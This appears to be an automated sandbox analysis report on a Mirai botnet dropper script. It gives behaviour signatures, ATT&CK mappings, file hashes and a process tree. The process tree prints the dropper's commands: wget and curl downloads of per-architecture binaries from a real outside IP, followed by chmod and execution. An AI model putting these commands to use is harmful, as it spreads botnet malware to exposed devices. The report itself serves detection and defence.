mirai | ef3eaa8e117b7d554783cc7ec3e87b9000b253514c68d2af01b9228136eda3ca

Analysis

max time kernel
110s
max time network
154s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
11/12/2024, 21:51

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General

Target

pulse.sh
Size

2KB
MD5

2d3c16a2a4a95fbea8e3701f1a87f196
SHA1

3f58b26babc849466241b5370aa6550967075c78
SHA256

ef3eaa8e117b7d554783cc7ec3e87b9000b253514c68d2af01b9228136eda3ca
SHA512

499835274884d0063f666b2b5e708de9428d5ce5c6682a7847bba97c6058eafb6168e10ba896d53f76ebba4d16515d262ca8a9ef7ad81bdfbca145247793e102

Score

10^/10

mirai botnet botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

BOTNET

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (75712) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
734	chmod
743	chmod
749	chmod
763	chmod
787	chmod
815	chmod
824	chmod
860	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/Andrew	736	Andrew
/tmp/Andrew	744	Andrew
/tmp/Andrew	750	Andrew
/tmp/Andrew	765	Andrew
/tmp/Andrew	789	Andrew
/tmp/Andrew	816	Andrew
/tmp/Andrew	825	Andrew
/tmp/Andrew	861	Andrew

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	Andrew
File opened for modification	/dev/misc/watchdog	Andrew

UPX packed file 8 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-3.dat	upx
behavioral4/files/fstream-6.dat	upx
behavioral4/files/fstream-9.dat	upx
behavioral4/files/fstream-12.dat	upx
behavioral4/files/fstream-15.dat	upx
behavioral4/files/fstream-17.dat	upx
behavioral4/files/fstream-18.dat	upx
behavioral4/files/fstream-20.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/var/Sofia	816	Andrew

Reads runtime system information 10 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/B	Andrew
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
768	wget
778	curl
786	cat

Writes file to tmp directory 17 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/i486	curl
File opened for modification	/tmp/i686	curl
File opened for modification	/tmp/mips	wget
File opened for modification	/tmp/mips	curl
File opened for modification	/tmp/arm5	curl
File opened for modification	/tmp/arm6	wget
File opened for modification	/tmp/x86	curl
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/mpsl	wget
File opened for modification	/tmp/arm4	curl
File opened for modification	/tmp/Andrew	pulse.sh
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/arm4	wget
File opened for modification	/tmp/i686	wget
File opened for modification	/tmp/x86_64	curl
File opened for modification	/tmp/mpsl	curl
File opened for modification	/tmp/arm5	wget

/tmp/pulse.sh
/tmp/pulse.sh
1⤵
- Writes file to tmp directory
PID:706
- /usr/bin/wget
  wget http://37.114.41.90/bins/i486
  2⤵
  PID:713
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/i486
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:720
- /bin/cat
  cat i486
  2⤵
  PID:733
- /bin/chmod
  chmod +x Andrew i486 pulse.sh systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-U5RO05
  2⤵
  - File and Directory Permissions Modification
  PID:734
- /tmp/Andrew
  ./Andrew pulse.exploit
  2⤵
  - Executes dropped EXE
  PID:736
- /usr/bin/wget
  wget http://37.114.41.90/bins/x86
  2⤵
  - Writes file to tmp directory
  PID:737
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:740
- /bin/cat
  cat x86
  2⤵
  PID:742
- /bin/chmod
  chmod +x Andrew i486 pulse.sh systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-U5RO05 x86
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/Andrew
  ./Andrew pulse.exploit
  2⤵
  - Executes dropped EXE
  PID:744
- /usr/bin/wget
  wget http://37.114.41.90/bins/i686
  2⤵
  - Writes file to tmp directory
  PID:746
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/cat
  cat i686
  2⤵
  PID:748
- /bin/chmod
  chmod +x Andrew i486 i686 pulse.sh systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-U5RO05 x86
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/Andrew
  ./Andrew pulse.exploit
  2⤵
  - Executes dropped EXE
  PID:750
- /usr/bin/wget
  wget http://37.114.41.90/bins/x86_64
  2⤵
  - Writes file to tmp directory
  PID:752
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:755
- /bin/cat
  cat x86_64
  2⤵
  PID:762
- /bin/chmod
  chmod +x Andrew i486 i686 pulse.sh systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-U5RO05 x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:763
- /tmp/Andrew
  ./Andrew pulse.exploit
  2⤵
  - Executes dropped EXE
  PID:765
- /usr/bin/wget
  wget http://37.114.41.90/bins/mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:768
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:778
- /bin/cat
  cat mips
  2⤵
  - System Network Configuration Discovery
  PID:786
- /bin/chmod
  chmod +x Andrew i486 i686 mips pulse.sh x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/Andrew
  ./Andrew pulse.exploit
  2⤵
  - Executes dropped EXE
  PID:789
- /usr/bin/wget
  wget http://37.114.41.90/bins/mpsl
  2⤵
  - Writes file to tmp directory
  PID:791
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:808
- /bin/cat
  cat mpsl
  2⤵
  PID:814
- /bin/chmod
  chmod +x Andrew i486 i686 mips mpsl pulse.sh x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/Andrew
  ./Andrew pulse.exploit
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:816
- /usr/bin/wget
  wget http://37.114.41.90/bins/arm4
  2⤵
  - Writes file to tmp directory
  PID:821
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/cat
  cat arm4
  2⤵
  PID:823
- /bin/chmod
  chmod +x Andrew arm4 i486 i686 mips mpsl pulse.sh x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/Andrew
  ./Andrew pulse.exploit
  2⤵
  - Executes dropped EXE
  PID:825
- /usr/bin/wget
  wget http://37.114.41.90/bins/arm5
  2⤵
  - Writes file to tmp directory
  PID:827
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:828
- /bin/cat
  cat arm5
  2⤵
  PID:859
- /bin/chmod
  chmod +x Andrew arm4 arm5 i486 i686 mips mpsl pulse.sh x86 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/Andrew
  ./Andrew pulse.exploit
  2⤵
  - Executes dropped EXE
  PID:861
- /usr/bin/wget
  wget http://37.114.41.90/bins/arm6
  2⤵
  - Writes file to tmp directory
  PID:863
- /usr/bin/curl
  curl -O http://37.114.41.90/bins/arm6
  2⤵
  - Reads runtime system information
  PID:864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Andrew

Filesize
34KB

MD5
92fe040441ea0ea4f5b82b81af19e8e3

SHA1
ac238f731e93f7c90ce84ec7f8d5b39a10067bf3

SHA256
c301e34dd20b32b2aac1264119c7de0a24045956d3247e77415edd23bb809199

SHA512
aef272663f4ddf9d92585b2add265d72e560405ebad0271c4f39bd216d382a6dddc6336ce3be6bd22421dcd675a9956df2f815b83e53bea0869e9dfbcd3c9467

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/tmp/arm4

Filesize
31KB

MD5
b09e32f241911f4ddac45a1a7a19ba49

SHA1
17a7f213570aaea7f66b9c38091c9485fa0ea510

SHA256
42828a483869a643cec73d181faff7f3a433c9570fc96a6bc63a2d8bc2b1f95c

SHA512
1d7e94f3076da3e47e902cc523bb752d5333fcbe86a8f35e6ef11202b80e6021318ff8d60843a410a849dd46296e45ed452bfe01ea722df6bdbdd565fd954da5

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/tmp/arm5

Filesize
32KB

MD5
bf55d7061cedeb10e6a3839353dc6d8c

SHA1
34b773230a77570ef0c6fced5ab9f125996e4daf

SHA256
aae9d2a9669849b09b4e8ed8f3baeeb4c948ca80ebddd5004a57c2b6b7049fc9

SHA512
555f6dec792e49927d5392fc8dae5174e8868c9acdddebd4d0a5b3386352df40c7342a82d0973979cdb5061ee347f4ebd33ce19ab98fbb6dcae293e1eb69c57e

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/tmp/i486

Filesize
274B

MD5
090e35476de39030dfeafbcf3d3e3f43

SHA1
a4bd408cec5d1185b478e528cf60a9f5186e0b87

SHA256
0085db6c6f0d1ba4e0ea26fcc04cd3afc69a900a9fd087079c4957364bf4dd1b

SHA512
55c266d1a3bb285ec821ecac894c2f5dbae7798c08e4f829db0e8c06f22084a919ef0fb17a1ddf4640228453bee8555fa6f69025c398292c5c8382e3c466a181

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/tmp/i686

Filesize
28KB

MD5
15fb222600a3061f5c8e5ef04e5298a6

SHA1
93b4a17632479c8a45e2554a18ea61ea7365c532

SHA256
fff08f2a1a9c20d447ac5cacb89df1287bb830a2fc0cd5866d31d9f3ba653965

SHA512
11e390838b35bdacfa84ebdfc076f564abc1538bc972895b81d2156be52177bb25d62662871ae624747cca29e089a7a9a6ef205db4c694a2c106641d33942c34

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/tmp/mips

Filesize
34KB

MD5
6088a204e0792a10d3724e836fe699b7

SHA1
fc1cf1010c99f155c46f94ec0529c8cea32c6055

SHA256
345984c9618d8bbf1c6e4a70ea62edd4666132f3787dbf07ad118d620cab8a2e

SHA512
bdf6dd68777d986f952a9d3aa5e505aaf360cda74d336c81f5ae1abebdebbdeb595f7bcdb26187f3c59fafbf545265b126435e3ead4346898f328e408bf8e48e

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/tmp/mpsl

Filesize
34KB

MD5
b8f2bf3e7c002718f12751cb02130d2e

SHA1
06919c90eae2564ee9ded3f343e2ec18839e411d

SHA256
390f79cfca6cc7660d64c22208b4f2166807e5875da1a15336a9dccff130034d

SHA512
adfccc7878b168cba5b9f9ce92f246bced0e15db876c28ed2f7e0ec5e344ec6652b643045ca79937de7655da4c71b77db2c778f8b8d11b196bfff156a7d16185

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/tmp/x86

Filesize
28KB

MD5
54d07ade0004f03aaca028523d8f3eb6

SHA1
73606fc68439ea7ceb148f94d61dbe0235da8355

SHA256
d1270e8be4de4713834930df984a515448ca8dd0acc7b0e03e5aa7fc4428882b

SHA512
43ce9c67151734e6e907a4bf30c06e41b52d524c388273380506b604ce3fed2779ef057b282737b1e05c11055611a4bd0559567253fb1b0f3309114e20eadf4b

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/tmp/x86_64

Filesize
28KB

MD5
9cc970e0631afa61a049848f4f368b12

SHA1
54d7d99f436e9c97da5bfdd43698bb1dbd679b29

SHA256
681951c3fa70c2d14fe48e3c829f9f62f04f8fa9b430c0a87e849e397333dc16

SHA512
9f5bcd759af164b0e22479d44806dce6d3ca3e2b62fa3ac154b83111804cd1ee1df4b549fff0e8ab72d2a2d66dadb0f8f1cc301fee83a711e5c4055c2ee3567e

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